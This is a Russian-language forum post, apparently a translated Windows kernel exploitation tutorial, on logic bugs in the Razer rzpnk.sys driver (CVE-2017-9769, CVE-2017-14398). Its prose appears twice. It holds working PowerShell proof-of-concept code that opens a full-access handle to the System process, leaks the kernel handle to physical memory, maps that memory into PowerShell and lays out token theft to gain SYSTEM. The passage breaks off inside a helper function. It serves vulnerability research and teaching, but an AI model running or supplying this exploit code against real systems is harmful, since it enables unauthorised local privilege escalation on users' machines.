- Автор темы
- Добавить закладку
- #21
Часть 19: Эксплуатация Ядра -> Логическая ошибка в драйвере rzpnk.sys
Holla и добро пожаловать в очередной выпуск серии по эксплуатации ядра Windows! Сегодня мы будем смотреть на что-то немного другое. Некоторое время назад @zeroSteiner обнаружил две ошибки в rzpnk.sys драйвере (CVE-2017-9770 и CVE-2017-9769), используемом Razer Synapse. Некоторое время спустя я решил посмотреть на эти ошибки и ... я обнаружил еще одну логическую ошибку, приводящую к локальному повышению привилегий (CVE-2017-14398)!
В этом посте мы кратко продемонстрируем CVE-2017-9769, а затем сделаем полный эксплоит для найденной мной ошибки CVE-2017-14398. Прежде чем мы начнем, я хотел бы поблагодарить @aionescu. Я также играл с Binary Ninja, если кому-то интересно, откуда взялись скриншоты.
Ресурсы:
+ Razer Rzpnk.Sys IOCTL 0x226048 OOB Read (CVE-2017-9770) (@zeroSteiner) - here
+ Razer Rzpnk.Sys IOCTL 0x22a050 ZwOpenProcess (CVE-2017-9769) (@zeroSteiner) - here
+ MSI ntiolib.sys/winio.sys local privilege escalation (@rwfpl) - here
Солёное поле боя
Прежде чем мы пойдем вперед, я хотел быстро показать, насколько близко уязвимые функции находятся на графе вызовов. Они буквально соседи в функции диспетчеризации.
До некоторой точки ветвь, ведущая к этим вызовам, является общей. Тогда мы можем видеть, что значение 0x10 вычитается из кода IOCTL, и если результат равен нулю, мы переходим к вызову функции ZwOpenProcess, если остаток равен 0x14 , то мы переходим вместо этого к вызову функции ZwMapViewOfSection.
Также обратите внимание, что драйвер проверит длину входного и выходного буфера и перейдет в состояние отказа, если будет предоставлено недостаточное количество входных параметров или если выходной буфер недостаточно велик.
ZwOpenProcess POC (CVE-2017-9769)
Граф вызовов
Get a grip, or ehurm .. a handle!
Мы не будем тратить слишком много времени на эту функцию, но уязвимость достаточно проста, чтобы доказать. Мы знаем, что для функции нужны два QWORD в качестве входных параметров, и из эксплойта Spencer'а мы можем видеть, что он упаковывает pid и ноль в качестве QWORDS. Мы можем быстро повторить это со следующим POC.
Запуск нашего POC дает следующий вывод.
Если мы посмотрим на два QWORD, возвращенных драйвером, то увидим, что первый - это PID, который мы передали, а второй — дескриптор. Когда мы ищем возвращенный дескриптор в нашем процессе PowerShell, мы видим следующее.
Это игра в значительной степени закончена. У нас есть дескриптор полного доступа к системному pid, что означает, что мы можем читать и записывать в любую память в этом пространстве процессов.
Spencer эксплуатрировал следующим способов
- получал дескриптор для winlogon,
- перехватывал user32!LockWorkStation для выполнения шеллкода,
- блокировал сеанс пользователя,
- профит!
Эксплуатация ZwMapViewOfSection (CVE-2017-14398)
Время, чтобы добраться до хороших вещей! Я настоятельно рекомендую вам взглянуть на сообщение @rwfpl об эксплуатации ntiolib/winio здесь (http://blog.rewolf.pl/blog/?p=1630), чтобы получить больше информации об этом типе ошибки.
Граф вызовов
Аргументы функции
Помните из первого скриншота, что функция ожидает 0x30 размер (6 QWORD) в качестве входных данных и также возвращает 0x30 в качестве вывода.Мы можем быстро создать POC, чтобы достичь уязвимой функции.
Прежде чем мы сделаем отладку, мы можем запустить наш POC и посмотреть, что возвращает драйвер.
Круто. В дополнение к множеству наших входных параметров мы можем видеть Int64, который возвращает 0, и DWORD младшего разряда, который возвращает код NTSTATUS. В этом случае функция ZwMapViewOfSection возвращает STATUS_INVALID_HANDLE, что имеет смысл, потому что он ожидает дескриптор раздела в качестве первого параметра, и мы просто передали ей некоторый мусор. Приятным побочным эффектом здесь является то, что мы можем сказать, был ли наш вызов успешным, сравнив код NTSTATUS с 0x0 (STATUS_SUCCESS).
Из графа мы уже можем сказать, что представляют собой некоторые статические параметры, но чтобы очистить все сомнения, мы можем установить точку останова при вызове функции ZwMapViewOfSection и проверить регистры + стек. Функция ZwMapViewOfSection использует соглашение о вызовах stdcall, поэтому по порядку аргументы будут храниться в RCX, RDX, R8, R9 и стеке.
Соединяя это с нашими входными параметрами, мы получаем следующее.
Большая часть того, что мы контролируем, очень прямолинейна. Для дескриптора процесса нам просто нужно передать дескриптор полного доступа в PowerShell, а размер commit/размер view - это просто то, сколько мы отображаем в нашем процессе. Вопрос в том, где мы собираемся получить дескриптор раздела. У драйвера нет никаких функций, которые позволяют нам вызывать функции ZwCreateSection или ZwOpenSection.
Утечка физической памяти
Я был немного обеспокоен тем, что эксплоит не работал, потому что я не мог создать дескриптор раздела. К счастью, @aionescu дал мне толчок. Используя функцию NtQuerySystemInformation с классом SystemHandleInformation, мы можем сделать так, чтобы получить утеку всех дескрипторов, которые открыты процессами в системе. Эти дескрипторы являются дескрипторами пользовательского пространства для каждого процесса, однако системный процесс (PID = 4) является особым случаем, позволяющим нам преобразовать дескриптор пользовательского пространства в дескриптор ядра!
Почему мы заботимся об этом? System имеет дескриптор "\Device\PhysicalMemory". Если мы можем сделать, так чтобы произошла утечка этого дескриптора, мы можем получить ZwMapViewOfSection для непосредственного отображения физической памяти в наш процесс PowerShell!
Я написал функцию на powershell, чтобы позаботиться об этом процессе. Она использует статические константы дескриптора, чтобы определить тип дескрипторов, открытых процессом. Я недавно обновил код, чтобы он работало от Win7 до Win10RS2. Get-Handles - это часть моего репозитория PSKernel-Primitives на GitHub. Проверьте, хотите ли вы поиметь ядро с помощью PowerShell?
Все, что нам нужно сделать, чтобы получить дескриптор ядра, это добавить статическое значение к 0x204 (0xffffffff80000000 для 64-битной и 0x80000000 для 32-битной системы). Мы можем сделать это динамически следующим образом.
Теперь мы можем собрать новый POC и заполнить все недостающие биты. В целях тестирования мы попытаемся отобразить 1 Мб физической памяти в PowerShell.
Запустив наш новый POC, мы получим следующий вывод.
Обратите внимание, что мы измеряем статус success, читая код NTSTATUS, и что Int64, который ранее был 0, теперь возвращает адрес в нашем локальном процессе, где был отображен раздел. Посмотрев в Process Hacker, мы увидим неплохое безвредное распределение памяти ровно 1024 КБ.
Используя Process Hacker, мы можем сохранить этот чанк памяти на диск. Если мы сделаем это и сделаем прокрутку, мы увидим некоторые забавные вещи, как показано ниже.
Мы в значительной степени доказали уязвимость, но как теперь получить оболочку SYSTEM?
Охота на EPROCESS
Самый простой способ, которым мы можем эксплуатировать, - это классическая атака кражи токенов. Трудность в том, чтобы найти структуру EPROCESS в нашей отображенной памяти. Некоторые исследования WinDBG показывают, что структура EPROCESS размещена в пуле "Proc".
Вычитая начало фрагмента пула "Proc" из указателя EPROCESS, мы также сразу получаем размер заголовка. И наоборот, если у нас есть произвольный адрес пула "Proc", мы можем вычислить местоположение любого свойства в структуре EPROCESS.
Если вы хотите посмотреть эти смещения, зависящие от архитектуры/версии, не переходя в отладчик KD, вы можете использовать Terminus Project. Это отличный ресурс от @rwfpl, который много раз экономил мне время!
Таким образом, мы эффективно сократили нашу проблему до нахождения кусков пула "Proc", но пока это не похоже на победу. Чтобы найти эти куски, мы можем отсканировать отображаемую секцию на наличие уникального тега пула 'Proc'.
В целях оптимизации, обратите внимание, что куски пула выровнены по границе в 0x10. По сути, это означает, что нам нужно только читать один DWORD каждые 16 байтов. Это не так много, но экономит драгоценное время. Несмотря на это, поиск был очень медленным, так как фрагменты пула "Proc" начали появляться после ~ 900 МБ. Для дальнейшей оптимизации поиска мы можем начать сканирование сопоставленной памяти со смещением 0x30000000 (0x30000000/(1024 * 1024) = 768 МБ), оставляя достаточно различий для разных версий ОС.
Чтобы проверить теорию, мы можем использовать следующий цикл (в отображенном разделе размером 1,2 ГБ), чтобы найти фрагменты пула 'Proc' и сдампить некоторые данные EPROCESS для подтверждения.
Часть результата показана ниже.
Как видите, эта реализация не идеальна, некоторые имена изображений усекаются, а небольшое количество обнаружений вообще не является структурами EPROCESS. К счастью, я обнаружил, что большинство процессов гарантированно были обнаружены правильно (включая PowerShell/lsass).
Конец игры
Осталось лишь слегка изменить вышеприведенный цикл, чтобы он записывал токен lsass и местоположение токена PowerShell. Как только оба элемента найдены, мы можем просто перезаписать токен PowerShell и достигнуть токена SYSTEM! Хотя могут потребоваться некоторые эксперименты, портирование этого эксплоита на 8,8.1,10 должен быть довольно простым упражнением. Единственными соображениями будут изменения в структуре EPROCESS и разработка стратегии для работы с несколькими дескрипторами секций в процессе System. Финальный эксплойт показан ниже.
Holla и добро пожаловать в очередной выпуск серии по эксплуатации ядра Windows! Сегодня мы будем смотреть на что-то немного другое. Некоторое время назад @zeroSteiner обнаружил две ошибки в rzpnk.sys драйвере (CVE-2017-9770 и CVE-2017-9769), используемом Razer Synapse. Некоторое время спустя я решил посмотреть на эти ошибки и ... я обнаружил еще одну логическую ошибку, приводящую к локальному повышению привилегий (CVE-2017-14398)!
В этом посте мы кратко продемонстрируем CVE-2017-9769, а затем сделаем полный эксплоит для найденной мной ошибки CVE-2017-14398. Прежде чем мы начнем, я хотел бы поблагодарить @aionescu. Я также играл с Binary Ninja, если кому-то интересно, откуда взялись скриншоты.
Ресурсы:
+ Razer Rzpnk.Sys IOCTL 0x226048 OOB Read (CVE-2017-9770) (@zeroSteiner) - here
+ Razer Rzpnk.Sys IOCTL 0x22a050 ZwOpenProcess (CVE-2017-9769) (@zeroSteiner) - here
+ MSI ntiolib.sys/winio.sys local privilege escalation (@rwfpl) - here
Солёное поле боя
Прежде чем мы пойдем вперед, я хотел быстро показать, насколько близко уязвимые функции находятся на графе вызовов. Они буквально соседи в функции диспетчеризации.
До некоторой точки ветвь, ведущая к этим вызовам, является общей. Тогда мы можем видеть, что значение 0x10 вычитается из кода IOCTL, и если результат равен нулю, мы переходим к вызову функции ZwOpenProcess, если остаток равен 0x14 , то мы переходим вместо этого к вызову функции ZwMapViewOfSection.
Также обратите внимание, что драйвер проверит длину входного и выходного буфера и перейдет в состояние отказа, если будет предоставлено недостаточное количество входных параметров или если выходной буфер недостаточно велик.
ZwOpenProcess POC (CVE-2017-9769)
Граф вызовов
Get a grip, or ehurm .. a handle!
Мы не будем тратить слишком много времени на эту функцию, но уязвимость достаточно проста, чтобы доказать. Мы знаем, что для функции нужны два QWORD в качестве входных параметров, и из эксплойта Spencer'а мы можем видеть, что он упаковывает pid и ноль в качестве QWORDS. Мы можем быстро повторить это со следующим POC.
Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class Razer
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
IntPtr OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
}
"@
#----------------[Get Driver Handle]
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver access OK.."
echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
echo "[+] Handle: $hDevice"
}
#----------------[Prepare buffer & Send IOCTL]
# Input buffer
$InBuffer = @(
[System.BitConverter]::GetBytes([Int64]0x4) + # PID 4 = System = 0x0000000000000004
[System.BitConverter]::GetBytes([Int64]0x0) # 0x0000000000000000
)
# Output buffer 1kb
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
# Ptr receiving output byte count
$IntRet = 0
#=======
# 0x22a050 - ZwOpenProcess
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22a050, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
echo "`n[!] DeviceIoControl failed..`n"
Return
}
#----------------[Read out the result buffer]
echo "`n[>] Call result:"
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8))
Запуск нашего POC дает следующий вывод.
Если мы посмотрим на два QWORD, возвращенных драйвером, то увидим, что первый - это PID, который мы передали, а второй — дескриптор. Когда мы ищем возвращенный дескриптор в нашем процессе PowerShell, мы видим следующее.
Это игра в значительной степени закончена. У нас есть дескриптор полного доступа к системному pid, что означает, что мы можем читать и записывать в любую память в этом пространстве процессов.
Spencer эксплуатрировал следующим способов
- получал дескриптор для winlogon,
- перехватывал user32!LockWorkStation для выполнения шеллкода,
- блокировал сеанс пользователя,
- профит!
Эксплуатация ZwMapViewOfSection (CVE-2017-14398)
Время, чтобы добраться до хороших вещей! Я настоятельно рекомендую вам взглянуть на сообщение @rwfpl об эксплуатации ntiolib/winio здесь (http://blog.rewolf.pl/blog/?p=1630), чтобы получить больше информации об этом типе ошибки.
Граф вызовов
Аргументы функции
Помните из первого скриншота, что функция ожидает 0x30 размер (6 QWORD) в качестве входных данных и также возвращает 0x30 в качестве вывода.Мы можем быстро создать POC, чтобы достичь уязвимой функции.
Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class Razer
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
IntPtr OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
}
"@
#----------------[Get Driver Handle]
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver access OK.."
echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
echo "[+] Handle: $hDevice"
}
#----------------[Prepare buffer & Send IOCTL]
# Input buffer
$InBuffer = @(
[System.BitConverter]::GetBytes([Int64]0xAAAAAA) +
[System.BitConverter]::GetBytes([Int64]0xBBBBBB) +
[System.BitConverter]::GetBytes([Int64]0xCCCCCC) +
[System.BitConverter]::GetBytes([Int64]0xDDDDDD) +
[System.BitConverter]::GetBytes([Int64]0xEEEEEE) +
[System.BitConverter]::GetBytes([Int64]0xFFFFFF)
)
# Output buffer
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
# Ptr receiving output byte count
$IntRet = 0
#=======
# 0x22A064 - ZwMapViewOfSection
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
echo "`n[!] DeviceIoControl failed..`n"
Return
}
#----------------[Read out the result buffer]
echo "`n[>] Call result:"
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64())) # 0x30 pyramid scheme ;)
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))
Прежде чем мы сделаем отладку, мы можем запустить наш POC и посмотреть, что возвращает драйвер.
Круто. В дополнение к множеству наших входных параметров мы можем видеть Int64, который возвращает 0, и DWORD младшего разряда, который возвращает код NTSTATUS. В этом случае функция ZwMapViewOfSection возвращает STATUS_INVALID_HANDLE, что имеет смысл, потому что он ожидает дескриптор раздела в качестве первого параметра, и мы просто передали ей некоторый мусор. Приятным побочным эффектом здесь является то, что мы можем сказать, был ли наш вызов успешным, сравнив код NTSTATUS с 0x0 (STATUS_SUCCESS).
Из графа мы уже можем сказать, что представляют собой некоторые статические параметры, но чтобы очистить все сомнения, мы можем установить точку останова при вызове функции ZwMapViewOfSection и проверить регистры + стек. Функция ZwMapViewOfSection использует соглашение о вызовах stdcall, поэтому по порядку аргументы будут храниться в RCX, RDX, R8, R9 и стеке.
Соединяя это с нашими входными параметрами, мы получаем следующее.
NTSTATUS ZwMapViewOfSection(
_In_ HANDLE SectionHandle, | Param 3 - RCX = SectionHandle
_In_ HANDLE ProcessHandle, | Param 1 - RDX = ProcessHandle
_Inout_ PVOID *BaseAddress, | Param 2 - R8 = BaseAddress -> Irrelevant, ptr to NULL
_In_ ULONG_PTR ZeroBits, | 0 -> OK - R9
_In_ SIZE_T CommitSize, | Param 5 - CommitSize / ViewSize
_Inout_opt_ PLARGE_INTEGER SectionOffset, | 0 -> OK
_Inout_ PSIZE_T ViewSize, | Param 5 - CommitSize / ViewSize
_In_ SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
_In_ ULONG AllocationType, | 0 -> Undocumented?
_In_ ULONG Win32Protect | 0x40 -> PAGE_READWRITE
);
Большая часть того, что мы контролируем, очень прямолинейна. Для дескриптора процесса нам просто нужно передать дескриптор полного доступа в PowerShell, а размер commit/размер view - это просто то, сколько мы отображаем в нашем процессе. Вопрос в том, где мы собираемся получить дескриптор раздела. У драйвера нет никаких функций, которые позволяют нам вызывать функции ZwCreateSection или ZwOpenSection.
Утечка физической памяти
Я был немного обеспокоен тем, что эксплоит не работал, потому что я не мог создать дескриптор раздела. К счастью, @aionescu дал мне толчок. Используя функцию NtQuerySystemInformation с классом SystemHandleInformation, мы можем сделать так, чтобы получить утеку всех дескрипторов, которые открыты процессами в системе. Эти дескрипторы являются дескрипторами пользовательского пространства для каждого процесса, однако системный процесс (PID = 4) является особым случаем, позволяющим нам преобразовать дескриптор пользовательского пространства в дескриптор ядра!
Почему мы заботимся об этом? System имеет дескриптор "\Device\PhysicalMemory". Если мы можем сделать, так чтобы произошла утечка этого дескриптора, мы можем получить ZwMapViewOfSection для непосредственного отображения физической памяти в наш процесс PowerShell!
Я написал функцию на powershell, чтобы позаботиться об этом процессе. Она использует статические константы дескриптора, чтобы определить тип дескрипторов, открытых процессом. Я недавно обновил код, чтобы он работало от Win7 до Win10RS2. Get-Handles - это часть моего репозитория PSKernel-Primitives на GitHub. Проверьте, хотите ли вы поиметь ядро с помощью PowerShell?
Все, что нам нужно сделать, чтобы получить дескриптор ядра, это добавить статическое значение к 0x204 (0xffffffff80000000 для 64-битной и 0x80000000 для 32-битной системы). Мы можем сделать это динамически следующим образом.
Код:
$SystemProcHandles = Get-Handles -ProcID 4
[Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
[Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000
Теперь мы можем собрать новый POC и заполнить все недостающие биты. В целях тестирования мы попытаемся отобразить 1 Мб физической памяти в PowerShell.
Код:
function RZ-ZwMapViewOfSection {
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class Razer
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
IntPtr OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(
UInt32 processAccess,
bool bInheritHandle,
int processId);
}
"@
#----------------[Helper Funcs]
function Get-Handles {
<#
.SYNOPSIS
Use NtQuerySystemInformation::SystemHandleInformation to get a list of
open handles in the specified process, works on x32/x64.
Notes:
* For more robust coding I would recomend using @mattifestation's
Get-NtSystemInformation.ps1 part of PowerShellArsenal.
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.EXAMPLE
C:\PS> $SystemProcHandles = Get-Handles -ProcID 4
C:\PS> $Key = $SystemProcHandles |Where-Object {$_.ObjectType -eq "Key"}
C:\PS> $Key |ft
ObjectType AccessMask PID Handle HandleFlags KernelPointer
---------- ---------- --- ------ ----------- -------------
Key 0x00000000 4 0x004C NONE 0xFFFFC9076FC29BC0
Key 0x00020000 4 0x0054 NONE 0xFFFFC9076FCDA7F0
Key 0x000F0000 4 0x0058 NONE 0xFFFFC9076FC39CE0
Key 0x00000000 4 0x0090 NONE 0xFFFFC907700A6B40
Key 0x00000000 4 0x0098 NONE 0xFFFFC90770029F70
Key 0x00020000 4 0x00A0 NONE 0xFFFFC9076FC9C1A0
[...Snip...]
#>
[CmdletBinding()]
param (
[Parameter(Mandatory = $True)]
[int]$ProcID
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct SYSTEM_HANDLE_INFORMATION
{
public UInt32 ProcessID;
public Byte ObjectTypeNumber;
public Byte Flags;
public UInt16 HandleValue;
public IntPtr Object_Pointer;
public UInt32 GrantedAccess;
}
public static class GetHandles
{
[DllImport("ntdll.dll")]
public static extern int NtQuerySystemInformation(
int SystemInformationClass,
IntPtr SystemInformation,
int SystemInformationLength,
ref int ReturnLength);
}
"@
# Make sure the PID exists
if (!$(get-process -Id $ProcID -ErrorAction SilentlyContinue)) {
Return
}
# Flag switches (0 = NONE?)
$FlagSwitches = @{
0 = 'NONE'
1 = 'PROTECT_FROM_CLOSE'
2 = 'INHERIT'
}
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
switch ($OSMajorMinor)
{
'10.0' # Windows 10 (Tested on v1511)
{
# Win 10 v1703
if ($OSVersion.Build -ge 15063) {
$TypeSwitches = @{
0x24 = 'TmTm'; 0x18 = 'Desktop'; 0x7 = 'Process'; 0x2c = 'RegistryTransaction'; 0xe = 'DebugObject';
0x3d = 'VRegConfigurationContext'; 0x34 = 'DmaDomain'; 0x1c = 'TpWorkerFactory'; 0x1d = 'Adapter';
0x5 = 'Token'; 0x39 = 'DxgkSharedResource'; 0xc = 'PsSiloContextPaged'; 0x38 = 'NdisCmState';
0xb = 'ActivityReference'; 0x35 = 'PcwObject'; 0x2f = 'WmiGuid'; 0x33 = 'DmaAdapter';
0x30 = 'EtwRegistration'; 0x29 = 'Session'; 0x1a = 'RawInputManager'; 0x13 = 'Timer'; 0x10 = 'Mutant';
0x14 = 'IRTimer'; 0x3c = 'DxgkCurrentDxgProcessObject'; 0x21 = 'IoCompletion';
0x3a = 'DxgkSharedSyncObject'; 0x17 = 'WindowStation'; 0x15 = 'Profile'; 0x23 = 'File';
0x2a = 'Partition'; 0x12 = 'Semaphore'; 0xd = 'PsSiloContextNonPaged'; 0x32 = 'EtwConsumer';
0x19 = 'Composition'; 0x31 = 'EtwSessionDemuxEntry'; 0x1b = 'CoreMessaging'; 0x25 = 'TmTx';
0x4 = 'SymbolicLink'; 0x36 = 'FilterConnectionPort'; 0x2b = 'Key'; 0x16 = 'KeyedEvent';
0x11 = 'Callback'; 0x22 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job';
0x3b = 'DxgkSharedSwapChainObject'; 0x1e = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1f = 'Device';
0x3 = 'Directory'; 0x28 = 'Section'; 0x27 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type';
0x37 = 'FilterCommunicationPort'; 0x2e = 'PowerRequest'; 0x26 = 'TmRm'; 0xf = 'Event';
0x2d = 'ALPC Port'; 0x20 = 'Driver';
}
}
# Win 10 v1607
if ($OSVersion.Build -ge 14393 -And $OSVersion.Build -lt 15063) {
$TypeSwitches = @{
0x23 = 'TmTm'; 0x17 = 'Desktop'; 0x7 = 'Process'; 0x2b = 'RegistryTransaction'; 0xd = 'DebugObject';
0x3a = 'VRegConfigurationContext'; 0x32 = 'DmaDomain'; 0x1b = 'TpWorkerFactory'; 0x1c = 'Adapter';
0x5 = 'Token'; 0x37 = 'DxgkSharedResource'; 0xb = 'PsSiloContextPaged'; 0x36 = 'NdisCmState';
0x33 = 'PcwObject'; 0x2e = 'WmiGuid'; 0x31 = 'DmaAdapter'; 0x2f = 'EtwRegistration';
0x28 = 'Session'; 0x19 = 'RawInputManager'; 0x12 = 'Timer'; 0xf = 'Mutant'; 0x13 = 'IRTimer';
0x20 = 'IoCompletion'; 0x38 = 'DxgkSharedSyncObject'; 0x16 = 'WindowStation'; 0x14 = 'Profile';
0x22 = 'File'; 0x3b = 'VirtualKey'; 0x29 = 'Partition'; 0x11 = 'Semaphore'; 0xc = 'PsSiloContextNonPaged';
0x30 = 'EtwConsumer'; 0x18 = 'Composition'; 0x1a = 'CoreMessaging'; 0x24 = 'TmTx'; 0x4 = 'SymbolicLink';
0x34 = 'FilterConnectionPort'; 0x2a = 'Key'; 0x15 = 'KeyedEvent'; 0x10 = 'Callback';
0x21 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job'; 0x39 = 'DxgkSharedSwapChainObject';
0x1d = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1e = 'Device'; 0x3 = 'Directory'; 0x27 = 'Section';
0x26 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type'; 0x35 = 'FilterCommunicationPort'; 0x2d = 'PowerRequest';
0x25 = 'TmRm'; 0xe = 'Event'; 0x2c = 'ALPC Port'; 0x1f = 'Driver';
}
}
# Win 10 v1511
if ($OSVersion.Build -lt 14393) {
$TypeSwitches = @{
0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'Mutant'; 0x0E = 'Callback'; 0x0F = 'Semaphore';
0x10 = 'Timer'; 0x11 = 'IRTimer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
0x15 = 'Desktop'; 0x16 = 'Composition'; 0x17 = 'RawInputManager'; 0x18 = 'TpWorkerFactory';
0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Partition'; 0x27 = 'Key';
0x28 = 'ALPC Port'; 0x29 = 'PowerRequest'; 0x2A = 'WmiGuid'; 0x2B = 'EtwRegistration';
0x2C = 'EtwConsumer'; 0x2D = 'DmaAdapter'; 0x2E = 'DmaDomain'; 0x2F = 'PcwObject';
0x30 = 'FilterConnectionPort'; 0x31 = 'FilterCommunicationPort'; 0x32 = 'NetworkNamespace';
0x33 = 'DxgkSharedResource'; 0x34 = 'DxgkSharedSyncObject'; 0x35 = 'DxgkSharedSwapChainObject';
}
}
}
'6.2' # Windows 8 and Windows Server 2012
{
$TypeSwitches = @{
0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'EventPair'; 0x0E = 'Mutant'; 0x0F = 'Callback';
0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'IRTimer'; 0x13 = 'Profile'; 0x14 = 'KeyedEvent';
0x15 = 'WindowStation'; 0x16 = 'Desktop'; 0x17 = 'CompositionSurface'; 0x18 = 'TpWorkerFactory';
0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
